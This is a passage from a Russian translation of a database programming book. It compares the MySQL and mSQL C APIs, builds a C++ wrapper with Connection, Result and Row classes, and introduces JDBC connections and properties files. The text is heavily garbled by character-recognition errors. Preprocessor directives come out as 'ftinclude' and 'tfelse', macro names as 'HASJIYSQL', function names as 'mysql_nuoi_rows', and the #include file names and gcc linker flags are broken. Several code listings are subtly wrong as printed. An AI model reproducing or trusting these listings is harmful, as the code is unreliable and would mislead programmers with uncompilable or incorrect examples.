    printf("Строк: %d\n", mysql_num_rows(result));

    /* обработать каждую строку результирующего набора */

    while( ( row = mysql_fetch_row(result)) != NULL )

    {

    printf("id: %s, значение: %s\n", (row[0] ? row[0] : "NULL"), (row[1] ? row[1] : "NULL")); }


    /* освободить ресурсы, использовавшиеся результирующим набором */

    mysql_free_result(result); /* закрыть соединение */

    mysql_close(connection);

    printf("Koнец, работы.\n");

    }

    Назначение файлов mysql.h и stdio.h, включаемых директивой ftinclude, должно быть очевидно. Файл заголовков mysql.h содержит прототипы и переменные, необходимые для MySQL, a stdio.h содержит прототип для printf (). Файл заголовков sys/time.h приложением фактически не используется. Он нужен из-за mysql.h, так как файл для MySQL использует определения из sys/time.h, не включая их. Для компиляции программы с помощью компилятора GNU С используйте командную строку:

    gcc -L/usr/local/mysql/lib -I/usr/local/mysql/include -о select

    select.c\

    -Imysql -Insl -Isocket

    Разумеется, в этой строке вместо /usr/local/mysql нужно задать тот каталог, в который вы установили MySQL.

    Функция main() выполняет те шаги, которые мы перечислили раньше: соединяется с сервером, выбирает базу данных, выдает запрос, обрабатывает его результаты и освобождает использованные ресурсы. По ходу главы мы подробно остановимся на каждом из этих этапов. Сейчас посмотрите на этот код, лишь для того чтобы почувствовать, как он работает. Кроме того, сравните этот пример с той же программой, написанной для mSQL, которая представлена в примере 13-2.*

    Пример 13-2. Простое приложение выборки данных для mSQL

    #include

    #include

    #include

    int main(char **args) {

    int connection, state;

    m_result *result;

    m_row row;

    /* соединиться с базой данных mSOL на athens.imaginary.com */

    state = msqlConnect("athens.imaginary.com");

    /* проверить ошибки соединения */

    if( state == -1 )

    {

    /* вывести сообщение об ошибке, хранящееся в MsqlErrMsg */

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    /* описателем соединения является значение, возвращаемое msqlConnect() */

    connection = state; }

    /* выбрать используемую базу данных */

    state = msqlSelectDB(connection, "db_test");


    /* опять-таки, -1 указывает на ошибку */

    if( state == -1 )

    {

    printf(msqlErrMsg);

    /* закрыть соединение перед выходом */

    msqlClose(connection);

    return 1; }

    state = msqlQuery(connection, "SELECT test_id, test_val FROM test");

    if( state == -1 )

    {

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    printf("Строк: %d\n", state);

    }

    /* прежде чем делать новый вызов Query(),

    * необходимо вызвать msqlStoreResult()

    */

    result = msqlStoreResult();

    /* обработать каждую строку результирующего набора */

    while( ( row = msqlFetchRow(result)) != NULL )

    {

    printf("id: %s, значение: %s\n",

    (row[0] ? row[0] : "NULL"),

    (row[1] ? row[1] : "NULL"));

    }

    /* освободить ресурсы, использовавшиеся результирующим набором */

    msqlFreeResult(result); /* закрыть соединение */

    msqlClose(connect ion);

    printf("Конец работы.\n"); }

    Эти программы почти идентичны. Кроме разных имен функций, есть лишь несколько заметных отличий. Сильнее всего бросается в глаза различие в соединении с базой данных, которое проявляется в двух отношениях:

  • В MySQL соединение осуществляется за один шаг, а в mSQL - за два.*

  • Для MySQL требуются имя пользователя и пароль, а для mSQL -нет.

    Как указывалось ранее в этой книге, MySQL поддерживает сложную схему авторизации с именами пользователей и паролями. Напротив, в mSQL применяется простая система, использующая ID пользователя процесса, соединяющегося с базой данных. Более надежная схема MySQL гораздо привлекательнее в среде клиент/сервер, но также и значительно более сложна в администрировании. Для разработчиков приложений она означает необходимость передачи в вызове mysql_real_connect() имени пользователя и пароля при работе с MySQL помимо имени сервера, используемого в mSQL.

    Первый аргумент API для установления соединения с MySQL может показаться необычным. По сути, это способ отслеживать все вызовы, иначе никак не связанные с соединением. Например, если вы пытаетесь установить соединение, и попытка неудачна, вам нужно получить сообщение о соответствующей ошибке. Однако функция MySQL


    mysql_error() требует задания указателя на действующее соединение с базой данных MySQL. Такое соединение обеспечивается изначально созданным нулевым соединением. Однако у вас должна быть действующая ссылка на это значение в течение всего времени существования вашего приложения - вопрос большой важности в более структурированной среде, чем простое приложение вида "соединился, сделал запрос, закрылся". Примеры на C++ далее в этой главе подробнее рассматривают эту тему.

    Два другие различия в API относятся к тому, как производятся обработка ошибок и подсчет числа записей в результирующем наборе. API mSQL создает глобальную переменную для хранения сообщений об ошибках. Из-за многопоточности MySQL такая глобальная переменная не смогла бы действовать в его API. Поэтому в нем используется функция mysql_error() для извлечения сообщений об ошибках, связанных с последней ошибкой, порожденной указанным соединением.

    API для соединения и обработки ошибок - два пункта, в которых MySQL отличается от mSQL для обеспечения функциональности, отсутствующей в mSQL. Подсчет числа результирующих записей в mSQL делается иным способом для обеспечения лучшего интерфейса, нежели предоставляемый MySQL. А именно: при посылке SQL-запроса в msqlQuery() возвращается число задействованных строк (или -1 в случае ошибки). Таким образом, подсчет измененных строк при обновлении и строк в возвращаемом результирующем наборе при запросе используют одну и ту же парадигму. В MySQL же приходится использовать различные парадигмы. При запросе на получение данных нужно передать результирующий набор функции mysql_nuoi_rows() , чтобы получить число строк в результирующем наборе. При обновлении нужно вызвать другую функцию API, mysql_affected_rows() . В то время как msqlQuery() возвращает число строк, удовлетворивших предложению WHERE при обновлении, mysql_affected_rows() сообщает о числе фактически измененных строк. И наконец, в mSQL есть метод msqlNumRows() , обеспечивающий тот же интерфейс для подсчета результирующего набора, что и в MySQL, но в нем нет аналога для mysql_affected_rows() .



    В этой книге мы рассматриваем

    С и C++

    В этой книге мы рассматриваем несколько разных языков программирования: Python, Java, Perl и С. Из этих языков больше всего трудностей вызывают C/C++. В других языках ваша задача состоит в формировании запроса SQL, передаче этого запроса посредством вызова функции и обработке результирующих данных. В С добавляется очень сложная проблема управления памятью.

    Как MySQL, так и mSQL предоставляют С-библиотеки, позволяющие создавать приложения для работы с базами данных MySQL и mSQL. В действительности API MySQL ведет свое происхождение от mSQL, благодаря чему опыт программирования в одном API позволяет легко перейти к другому. Однако, как мы видели в первой части, MySQL значительно богаче функциями, чем mSQL. Естественно, эти дополнительные функции приводят к некоторым различиям между двумя API. В данной главе мы исследуем эти различия и разберем детали каждого API при создании объектно-ориентированного C++ API, который можно условно компилировать для работы с каждым из двух API.



    Объектно-ориентированный доступ к базам данных на C++

    С API прекрасно работают в процедурном программировании на С. Однако они не очень хорошо вписываются в объектно-ориентированную среду C++. Чтобы показать, как реально использовать в программе эти два API, в оставшейся части главы мы создадим с их помощью C++ API для объектно-ориентированного программирования баз данных.

    Объектно-ориентированный доступ к базам данных на C++
    Рис. 13-1. Библиотека объектно-ориенитрованного доступа к базе данных

    Поскольку мы занимаемся освещением доступа к базам данных MySQL и mSQL, то сосредоточимся на специфичных для MySQL и mSQL темах и не будем пытаться создать совершенный общий C++ API. Работу с MySQL и mSQL описывают три главных понятия: соединение, результирующий набор и строки результирующего набора. Мы будем использовать эти понятия как ядро объектной модели, на которой будет основываться наша библиотека. Рис. 13-1 показывает эти объекты на UML-диаграмме.*

    Соединение с базой данных

    В любой среде доступ к базе данных начинается с соединения. Как вы видели в первых двух примерах, MySQL и mSQL по-разному представляют одно и то же понятие - соединение с базой данных. Создание нашей объектно-ориентированной библиотеки мы начнем с абстрагирования от этого понятия и создания объекта Connection . Объект Connection должен уметь устанавливать соединение с сервером, выбирать нужную базу данных, посылать запросы и возвращать результаты. Пример 13-3 показывает заголовочный файл, в котором объявлен интерфейс к объекту Connection.

    UML - это новый Унифицированный язык моделирования, созданный Гради Бучем, Айваром Якобсоном и Джеймсом Рамбо (Grady Booch, Ivar Jacobson, James Rumbaugh) в качестве нового стандарта для документирования объектно-ориентированного проектирования и анализа.

    Пример 13-3. Заголовок класса Connection

    #ifndef l_connection_h
    #define l_connection_h

    #include

    #if defined(HAS_MSQL)
    #include
    #lelif defined(HAS_MYSQL)
    #include
    #endif

    #include "result.h"

    class Connection { private:

    int affected_rows;

    #if defined(HAS_MSQL)

    int connection;

    #elif defined(HAS_MYSQL)

    MYSQL mysql;

    MYSQL 'connection; tfelse

    #error База данных не определена,

    #endif

    public:

    Connection(char *, char *);

    Connection(char *, char *, char *, char *);

    ~Connection();

    void Close();

    void Connect(char 'host, char *db, char *uid, char *pw);

    int GetAffectedRows();

    char. *GetError();

    int IsConnected();

    Result *Query(char *);

    };

    #endif // l_connection_h

    Методы, которые предоставляет класс Connection, одинаковы вне зависимости от используемой СУБД. Однако спрятанными в глубине класса окажутся закрытые члены, специфичные для той библиотеки, с которой он будет компилироваться. При установлении соединения единственными различными данными-членами станут те, которые представляют соединение с базой данных. Как отмечалось, mSQL для представления соединения использует величину типа int, a MySQL использует указатель на MYSQL и дополнительную величину типа MYSQL для установления соединения.

    Установление соединения с базой данных

    Всем приложениям, которые мы будем создавать с использованием этого API, для соединения с базой данных потребуется только создать новый экземпляр класса Connection с помощью одного из его конструкторов. Аналогично, приложение может отсоединиться, уничтожив экземпляр Connection . Оно может даже повторно использовать экземпляр Connection с помощью прямых обращений к методам Close() и Соnnect(). Пример 13-4 показывает реализацию конструкторов и метода Connect().

    Пример 13-4. Соединение с MySQL и mSQL в классе Connection

    #include "connection.h"

    Connection::Connection(char *host, char *db) {

    #if defined(HAS_MSQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;

    #else

    #error Het соединения с базой данных,

    #endif

    Connect(host, db, (char *)NULL, (char *)NULL); }

    Connection::Connection(char 'host, char *db, char *uid, char *pw) {

    #if defined(HASJISQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных,

    #endif

    Connect(host, db, uid, pw);

    }

    void Connection: :Connect(char'host, char *db, char *uid, char *pw)

    {

    int state;

    if( IsConnected() )

    {

    throw "Соединение уже установлено.";

    }

    #if defined(HAS_MSQL)

    connection = msqlConnect(host);

    state = msqlSelectDB(connection, db);

    #elif defined (HAS.MYSQL) mysql_init(&mysql);

    connection = mysql_real_connect(&mysql, host,

    uid, pw,

    db, 0, 0); #else

    #error Нет соединения с базой данных.

    #endif

    if( !IsConnected() )

    {

    throw GetError();

    }

    if( state < 0 )

    {

    throw GetError();

    }

    }

    Оба конструктора разработаны с учетом различия параметров, требуемых для соединений MySQL и mSQL. Тем не менее эти API должны разрешать обоим конструкторам работать с каждой из баз данных. Это достигается игнорированием ID пользователя и пароля при вызове конструктора с четырьмя аргументами. Аналогично при вызове конструктора с двумя аргументами, серверу MySQL в качестве значений ID пользователя и пароля передаются значения null. Фактическое соединение с базой данных происходит в методе Connect ().

    Метод Connect() инкапсулирует все шаги, необходимые для соединения. Для MySQL он вызывает метод mysql_real_connect() . Для mSQL жe сначала вызывается метод msqlConnect(), а затем msqlSelectDB() . При неудаче на любом из этапов Connect() возбуждает исключительную ситуацию.

    Отсоединение от базы данных

    Другой логической функцией класса Connection является отсоединение от базы данных и освобождение скрытых от приложения ресурсов. Эту функцию осуществляет метод Close (). В примере 13-5 показано, как происходит отсоединение от MySQL и mSQL.

    Пример 13-5. Освобождение ресурсов базы данных

    Connection::"Connection() {

    if( IsConnected() ) {

    Close();

    } }

    void Connection::Close() {

    if( !IsConnected() )

    {

    return;

    }

    #if defined(HAS_MSQL)

    msqlClose(connection);

    connection = -1;

    #elif defined(HAS_MYSQL)

    mysql_close(connection);

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных, tfendif }

    Методы mysql_close() и msqlClose() освобождают ресурсы, используемые соединениями с MySQL и mSQL соответственно.

    Выполнение обращений к базе данных

    В промежутке между открытием соединения и закрытием базе данных обычно посылаются команды. Класс Connection делает это с помощью метода Query(), принимающего команду SQL в качестве аргумента. Если команда является запросом, она возвращает экземпляр класса Result из объектной модели, представленной на рио. 13-1. Если же команда обновляет данные, то метод возвращает NULL и устанавливает значение affected_rows равным количеству строк, в которых произведены изменения. В примере 13-6 показано, как класс Connection обрабатывает запросы к базам данных MySQL и mSQL.

    Пример 13-6. Обработка запроса к базе данных

    Result "Connection::Query(char *sql) { T_RESULT *res; int state;

    // Если нет соединения, делать нечего

    if( !lsConnected(-) ) { throw "Соединения нет.";

    }

    // Выполнить запрос

    #if defined(HAS_MSQL)

    state = msqlQuery(connection, sql);

    #elif defined(HAS_MYSQL)

    state = mysql_query(connection, sql);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если произошла ошибка

    if( state < 0 ) { throw GetError();

    }

    // Забрать результаты, если таковые имеются

    #if defined(HAS_MSQL)

    res = msqlStoreResult();

    #elif defined(HAS_MYSQL)

    res = mysql_store_result(connection);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если результат null, это было обновление или произошла ошибка

    // Примечание: mSQL не порождает ошибки в msqlStoreResult()

    if( res == (T_RESULT *)NULL ) {

    // Установить значение affected_rows равным возвращенному msqlQuery()

    #if defined(HAS_MSQL)

    affected_rows = state;

    #elif defined(HAS_MYSQL)

    // field_count != 0 означает, что произошла ошибка

    int field_count = mysql_num_fields(connection);

    if( field_count != 0 )

    {

    throw GetError();

    }

    else

    {

    // Запомнить affected_rows

    affected_rows = mysql_affected_rows(connection); }


    #else

    #error Нет соединения с базой данных,

    #endif

    //Возвратить NULL в случае обновления

    return (Result *)NULL; }

    // Для запроса возвратить экземпляр Result

    return new Result(res); }

    В начале обращения к базе данных делается вызов метода mysql_query() или msqlQuery() с передачей ему команды SQL, которую нужно выполнить. В случае ошибки оба API возвращают отличное от нуля значение. На следующем этапе вызываются mysql_store_result() или msqlStoreResult() , чтобы проверить, получены ли результаты, и сделать эти результаты доступными приложению. В этом месте две СУБД несколько отличаются в деталях обработки.

    В mSQL API метод msqlStoreResult() не генерирует ошибки. Эту функцию приложение использует для того, чтобы поместить полученный результирующий набор в хранилище, управлять которым будет приложение, а не mSQL API. Иными словами, при вызове msqlQuery() результаты запоминаются во временной области памяти, управляемой API. Последующие вызовы msqlQuery() затирают эту область памяти. Чтобы сохранить результат в области памяти вашего приложения, нужно вызвать msqlStoreResult() .

    Поскольку метод msqlStoreResult() не генерирует ошибку, при его вызове нужно рассматривать две возможности. Если обращение к базе данных было запросом, создавшим результирующий набор, то msqlStoreResult() возвращает указатель на структуру m_result, с которой может работать ваше приложение. При всех других типах обращения (обновление, вставка, удаление или создание) msqlStoreResult() возвращает NULL. Узнать количество строк, обработанных неизвлекающим данные запросом, можно из значения, возвращенного исходным вызовом msqlQuery() .

    Подобно msqlStoreResult() , метод mysql_store_result() используется для запоминания данных, возвращенных запросом, в области памяти приложения, но, в отличие от версии для mSQL, необходимо создать для mysql_store_result() некий обработчик ошибок. Именно, значение NULL, возвращенное mysql_store_result() , может означать и то, что запрос не предполагал возвращение результирующего набора, и ошибку при получении последнего. Вызов метода mysql__num_f ields() позволит определить истинную причину. Отличное от 0 значение счетчика полей свидетельствует о происшедшей ошибке. Число измененных строк можно определить при обращении к методу mysql_affected_rows() .*


    Другие методы класса Connection

    По всему классу Connection разбросаны два вспомогательных метода, IsConnected() и GetError(). Проверить состояния соединения просто — достаточно посмотреть значение атрибута connection. Оно должно быть не NULL для MySQL или отличным от -1 для mSQL. Напротив, сообщения об ошибках требуют некоторых пояснений.

    Извлечение сообщений об ошибках для mSQL просто и безыскусно, нужно лишь использовать значение глобальной переменной msqlErrMsg . Ее значение точно совпадает с тем, что возвращает от mSQL метод GetError(). С MySQL дело обстоит несколько сложнее. При обработке любых сообщений об ошибках необходимо учитывать многопоточность. В многопоточной среде обработка ошибок осуществляется путем получения сообщений об ошибках с помощью функции mysql_error() . В примере 13-7 показаны обработка ошибок для MySQL и mSQL в методе GetError(), а также проверка соединения в методе IsConnected() .

    Пример 13-7. Чтение сообщений об ошибках и другие вспомогательные задачи класса Connection

    int Connection::GetAffectedRows() {

    return affected_rows; }

    char 'Connection::GetError() {

    #if defined(HAS_MSQL)

    return msqlErrMsg:

    #elif defined(HAS_MYSQL)

    if( IsConnected() ) {

    return mysql_error(connection); }

    else {

    return mysql_error(&mysql); }

    #else

    #error Нет соединения с базой данных,

    #endif }

    int Connection::IsConnected() {

    #if defined(HAS_MSQL)

    return !(connection < 0);

    #elif defined(HAS_MYSQL)

    return !(iconnection);

    #else

    #error Нет соединения с базой данных,

    #endif

    )

    Проблемы при обработке ошибок

    Хотя обрабатывать ошибки, как это описано выше, несложно благодаря инкапсуляции обработки в простой вызов API в классе Connection , следует остерегаться некоторых потенциальных проблем. Во-первых, при работе с mSQL обработка ошибок осуществляется глобально в пределах приложения. Если приложение поддерживает несколько соединений, значение msqlErrMsg относится к последней ошибке последнего вызова какой-либо функции mSQL API. Следует также учесть, что хотя mSQL - однопоточное приложение, можно создавать многопоточные приложения, использующие mSQL, но проявлять крайнюю осторожность при извлечении сообщений об ошибках. Именно, необходимо написать собственный API, корректно работающий с потоками поверх mSQL С API, который копирует сообщения об ошибках и связывает их с соответствующими соединениями.


    Обе СУБД управляют и сохраняют сообщения об ошибках внутри своих соответствующих API. Поскольку вы не распоряжаетесь этой деятельностью, может возникнуть другая проблема, связанная с запоминанием сообщений об ошибках. В нашем C++ API обработка ошибок . происходит сразу после их возникновения и до того, как приложение сделает новое обращение к базе данных. Если мы хотим продолжить обработку и лишь позднее заняться ошибками, сообщение об ошибке следует скопировать в область памяти нашего приложения.

    Результирующие наборы

    Класс Result абстрагируется от понятий результатов MySQL и mSQL. Он должен обеспечивать доступ как к данным результирующего набора, так и к сопутствующим этому набору метаданным. Согласно объектной модели на рис. 13-1, наш класс Result будет поддерживать циклический просмотр строк результирующего набора и получение числа строк в нем. Ниже в примере 13-8 приведен заголовочный файл класса Result.

    Пример 13-8. Интерфейс класса Result в result.h

    #ifndef 1_result_h

    #define 1_result_h

    #include

    #if defined(HASJSQL)

    #include

    #elif defined(HAS_MYSQl)

    #include

    #endif

    #include "row.h"

    class Result { private:

    int row_count;

    T_RESULT *result;

    Row *current_row;

    public:

    Result(T_RESULT *);

    ~Result();

    void Close();

    Row *GetCurrentRow();

    int GetRowCount();

    int Next(); };

    #endif // l_result_h

    Перемещение по результатам

    Наш класс Result позволяет работать с результирующим набором построчно. Получив экземпляр класса Result в результате обращения к методу Query() , приложение должно последовательно вызывать Next() и GetCurrentRow(), пока очередной Next() не возвратит 0. Пример 13-9 показывает, как выглядят эти действия для MySQL и mSQL.

    Пример 13-9. Перемещение по результирующему набору

    int Result::Next() { T_ROW row;

    if( result == (T_RESULT *)NULL ) {

    throw "Результирующий набор закрыт.";

    }

    #if defined(HAS_MSQL)

    row = msqlFetchRow(result);

    #elif defined(HAS_MYSQL)


    row = mysql_fetch_row(result);

    #else

    #error Нет соединения с базой данных,

    #endif if( ! row )

    {

    current_row = (Row *)NULL;

    return 0;

    }

    else

    {

    current_row = new Row(result, row);

    return 1;

    }

    }

    Row 'Result::GetCurrentRow()

    {

    if( result == (T_RESULT *)NULL )

    { throw "Результирующий набор закрыт.";

    }

    return current_row; }

    Заголовочный файл row.h в примере 13-11 определяет T_ROW и T_RESULT в зависимости от того, для какого ядра базы данных компилируется приложение. Перемещение к следующей строке в обеих базах данных осуществляется одинаково и просто. Вы вызываете mysql_fetch_row() или msqlFetchRow() . Если вызов возвращает NULL, значит, необработанных строк не осталось.

    В объектно-ориентированной среде это единственный тип навигации, которым вы должны пользоваться. API для базы данных в объектно-ориентированном программировании существует лишь для обеспечения извлечения данных, а не их обработки. Обработка данных должна быть заключена в объектах доменов. Однако не все приложения являются объектно-ориентированными. MySQL и mSQL предоставляют функции, позволяющие перемещаться к определенным строкам в базе данных. Это методы mysql_data_seek() mnsqlDataSeek() соответственно.

    Освобождение ресурсов и подсчет строк

    Приложения баз данных должны освобождать после себя ресурсы. Обсуждая класс Connection, мы отметили, как результирующие наборы, порождаемые запросом, помещаются в память, управляемую приложением. Метод Close() класса Result освобождает память, занятую этим результатом. Пример 13-10 показывает, как освободить ресурсы, занятые результатом, и получить количество строк в нем.

    Пример 13-10. Освобождение ресурсов и подсчет числа строк

    void Result::Close() {

    if( result == (T_RESULT *)NULL ) { return;

    }

    #if defined(HAS_MSQL)

    msqlFreeResult(result);

    #elif defined(HAS_MYSQL)

    mysql_free_result(result);

    #else

    #error Нет соединения с базой данных, ftendif

    result = (TJESULT *)NULL; '

    }

    int Result::GetRowCount()

    {


    if( result == (T_RESULT *)NULL )

    {

    throw "Результирующий набор закрыт.";

    }

    if( row_count > -1 )

    {

    return row_count;

    }

    else

    {

    #if defined(HAS_MSQL)

    row_count = msqlNumRows(result);

    #elif defined(HAS_MYSQL)

    row_count = mysql_num_rows(result);

    #else

    #error Нет соединения с базой данных,

    #endif

    return row_count;

    }

    }

    Строки

    Отдельная строка результирующего набора представляется в нашей объектной модели классом Row. Класс Row позволяет приложению извлекать отдельные поля строки. В примере 13-11 показано объявление класса Row.

    Пример 13-11. Объявление класса Row в row.h

    #ifndef l_row_h

    #define l_row_h

    #include

    #if defined(HAS_MSQL)

    #include

    #define T_RESULT m_result

    #define T_ROW m_row

    #elif defined(HAS_MYSQL)

    #include

    #define T_RESULT MYSQL_RES

    #define T_ROW MYSQL_ROW

    #endif

    class Row { private:

    T_RESULT 'result;

    T_ROW fields;

    public:

    Row(T_RESULT *, T_ROW);

    ~Row();

    char *GetField(int);

    int GetFieldCount();

    int IsClosed();

    void Close();

    };

    #endif // l_row_h

    В обоих API есть макросы для типов данных, представляющие результирующий набор и строку внутри него. В обоих API строка является массивом строк, содержащих данные этой строки, и ничем более. Доступ к этим данным осуществляется по индексу массива в порядке, определяемом запросом. Например, для запроса SELECT user_id , password FROM users индекс 0 указывает на имя пользователя и индекс 1 -на пароль. Наш C++ API делает это индексирование несколько более дружественным для пользователя. GetField(1) возвратит первое поле, или f ields[0]. Пример 13-12 содержит полный листинг исходного кода для класса Row.

    Пример 13-12. Реализация класса Row

    #include

    #include "row.h"

    Row::Row(T_RESULT *res, T_ROW row) {

    fields = row;

    result = res; }

    Row::"Row() {

    if( ! IsClosed() ) {

    Close();

    }

    }

    void Row::Close() {

    if( IsClosed() ) {

    throw "Строка освобождена.";


    }

    fields = (T_ROW)NULL;

    result = (T_RESULT *)NULL;

    }

    int Row::GetFieldCount()

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    } #if defined(HASJISQL)

    return msqlNumFields(result);

    #elif defined(HAS_MYSQL)

    return mysql_num_fields(result);

    #else

    #error Нет соединения с базой данных,

    #endif }

    // При вызове этого метода нужно быть готовым

    // к тому, что может быть возвращен

    NULL, char *Row::GetField(int field)

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    }

    if( field < 1 || field > GetFieldCount() .)

    { throw "Индех лежит вне допустимых значений.";}

    return fields[field-1]; }

    int Row::IsClosed() {

    return (fields == (T_ROW)NULL); }

    Пример приложения, использующего эти классы C++, прилагается к книге.

    Что такое JDBC?

    Как и все Java API, JDBC является набором классов и интерфейсов, в совокупности поддерживающих определенный набор функций. В случае JDBC эти функции обеспечивают доступ к базе данных. Классы и интерфейсы, составляющие JDBC API, являются, таким образом, абстракциями понятий, общих при доступе к базам данных любого типа. Например, Connection является интерфейсом Java, представляющим соединение с базой данных. Аналогично ResultSet представляет результирующий набор данных, возвращаемый командой SQL SELECT. Классы, образующие JDBC API, находятся в пакете Java, sql, который был введен Sun в JDK 1.1.

    Естественно, что конкретные детали доступа к базе данных зависят от ее изготовителя. JDBC фактически не имеет дела с этими деталями. Большая часть классов в пакете Java.sql является интерфейсами без реализации. Реализация этих интерфейсов осуществляется производителем базы данных в виде драйвера JDBC. В качестве программиста баз данных вам нужно знать очень немногое относительно драйвера, который вы используете, — все остальное делается через интерфейсы JDBC. Специфическая информация о базе данных, которая необходима для использования JDBC, включает в себя:

  • URL для драйвера JDBC.

  • Имя класса, реализующего Java. sql. Driver.

    Что такое JDBC?В новую спецификацию JDBC 2.0 включено необязательное для реализации производителями баз данных стандартное расширение API. Если поставщик вашей базы данных JDBC реализовал это стандартное расширение, вам даже нет необходимости знать JDBC URL или реализацию класса Driver. Это расширение предусматривает наличие класса DataSource, который можно найти по имени в каталоге с поддержкой JNDI.

    Оба эти элемента можно получить во время выполнения - из командной строки или файла свойств. Сам код программы не ссылается на эти два зависящие от реализации элемента. Мы разъясним, что делают JDBC URL и класс Driver в тех параграфах, где будем рассказывать о соединении с базами данных. На рисунке 14-1 представлена схема интерфейсов JDBC.

    JNDI - Java Naming and Directory Interface (интерфейс имен и каталогов Java) API. Он позволяет запоминать объекты Java в службе имен и каталогов, такой как сервер Lightweight Directory Access Protocol (облегченный протокол доступа к каталогам - LDAP), и находить их по имени.


    Что такое JDBC?

    Рис. 14-1. Классы и интерфейсы, входящие в JDBC API

    Соединение с базой данных

    Прежде всего нужно соединиться с базой данных. Один из немногих реализованных в пакете Java. sql. package классов - это класс DriverManager. Он поддерживает список реализаций JDBC и обеспечивает создание соединений с базами данных на основе сообщаемых ему JDBC URL. URL для JDBC имеет вид jdbc:protocol:subprotocol. Он сообщает DriverManager, с какой СУБД нужно соединиться, и передает ему данные, необходимые для осуществления соединения.

    Что такое JDBC?Смысл слова "driver" в JDBC зависит от контекста. При написании в нижнем регистре JDBC driver является собранием классов, в совокупности реализующих все интерфейсы JDBC и обеспечивающих приложение доступом хотя бы к одной базе данных. При написании Driver с заглавной буквы подразумевается класс, реализуемый в Java. sql. Driver. И наконец, JDBC предоставляет интерфейс DriverManager, с помощью которого можно вести учет всех различных реализаций Driver.

    Часть URL, обозначающая протокол, ссылается на конкретный драйвер JDBC. В случае MySQL и mSQL протоколами являются ту sql и msql соответственно. Субпротокол сообщает данные соединения, специфические для реализации. Для соединения с MySQL и mSQL требуются имя узла и имя базы данных. Дополнительно может потребоваться номер порта, если ядро базы данных запущено не как root. Поэтому полный URL для mSQL выглядит как, например, jdbc:msql://athens.imagi-nary.com: 1114/test. Он сообщает DriverManager о необходимости найти драйвер JDBC для mSQL и соединиться с базой данных test на athens.imaginary.com через порт 1114. Это делается путем единственного обращения к методу getConnection() интерфейса DriverManager. В примере 14-1 показано, как осуществить соединение с базой данных mSQL.

    Пример 14-1. Отрывок кода из примеров, предоставляемых с драйвером JDBC для mSQL, показывающий, как осуществить соединение

    import java.sql.*;

    public class Connect { public static void main(String argv[]) {

    Connection con = null;


    try {

    // Вот JDBC URL для этой базы данных

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    // 0 том, что делают классы Statement и ResultSet, ниже Statement stmt; ResultSet rs;

    // передать это как свойство, т.е.

    // -Djdbc.drivers=com.imaginary.sql.msql.MsqlDriver

    // или загрузить, как сделано в этом примере

    Class.fоrName("com.imaginary, sql. msql. MsqlDriver");

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    }

    catch( SQLException e ) {

    e.printStackTrace(); }

    finally {

    if( con != null ) {

    try { con.close();

    }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере соединение с базой данных осуществляется в строке con=DriverManager.getConnection(url, "borg", ""). В данном случае JDBC URL и имя класса, реализующего Driver, фактически введены в код приложения. В демонстрационной программе это допустимо, но всякое серьезное приложение должно загружать эти данные из файла свойств, получать через аргументы командной строки или из свойств системы. Реализация Driver будет автоматически загружена, если передать ее как системное свойство jdbc.drivers - иными словами, не нужно вызывать Class. ForName(). newlnstance(driver_name), если вы передаете имя драйвера как системное свойство jdbc.drivers. Второй и третий аргументы getConnection() передают ID пользователя и пароль, необходимые для установления соединения. Поскольку mSQL не использует пароли для авторизации пользователей, в примере используется пустая строка. Для MySQL же необходимо сообщить пароль.

    Поддержка переносимости с помощью файлов свойств

    Хотя наше внимание сосредоточено на двух конкретных базах данных, хорошей практикой программирования на Java является обеспечение полной переносимости приложений. Под переносимостью обычно подразумевается, что вы не пишете код, предназначенный для выполнения только на какой-то одной платформе. Однако для Java термин "переносимость" имеет более сильный смысл. Он означает независимость от аппаратных ресурсов и независимость от базы данных.


    Мы сказали о том, что JDBC URL и имя Driver зависят от реализации, но не сказали, как избежать их включения в код. Поскольку и то, и другое представляет собой простые строки, их можно передать в качестве параметров командной строки или как параметры апплетов. Это работающее, но едва ли элегантное решение, поскольку оно требует, чтобы пользователь помнил длинные командные строки. Аналогичное решение - выдавать пользователю приглашение для ввода этих данных, которое опять-таки требует, чтобы пользователь вспоминал JDBC URL и имя класса Java при каждом запуске приложения.

    Более изящное решение получается при использовании файла свойств. Файлы свойств поддерживаются классом Java. util. Resource-Bundle и его подклассами, позволяя приложению извлекать данные, относящиеся ко времени исполнения, из текстового файла. Для приложения, использующего JDBC, можно вставить в файл свойств URL и имя Driver, возложив на администратора приложения обязанность указать детали соединения. Пример 14-2 показывает файл свойств,

    предоставляющий данные о соединении.

    Пример 14-2. Файл SelectResource.properties с подробностями соединения

    Driver=com.imaginary.sql.msql.MsqlDriver

    URL=jdbc:msql://athens.imaginary.com:1114/db_test

    В примере 14-3 показан переносимый класс Connection.

    Пример 14-3. Специфические данные

    import java.sql.*; import java.util.*;

    public class Connect {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");

    Statement stmt; ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", ""); }

    catch( SQLException e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере установления соединения мы избавились от кода, специфичного для mSQL. Однако для разработчиков переносимых JDBC-приложений остается одна важная проблема, особенно касающаяся тех, кто работает с mSQL. JDBC требует, чтобы все драйверы поддерживали начальный уровень (entry level) SQL2. Это стандарт ANSI минимальной поддержки SQL. Если при вызовах JDBC вы поддерживаете начальный уровень SQL2, то ваше приложение будет стопроцентно переносимо на другие базы данных. MySQL поддерживает минимальный уровень SQL2, a mSQL - увы, нет. Приложения, написанные для mSQL, скорее всего, без проблем будут переноситься на другие базы данных, но приложения, написанные с использованием начального уровня SQL92, в полном объеме нельзя будет безболезненно перенести обратно на mSQL.



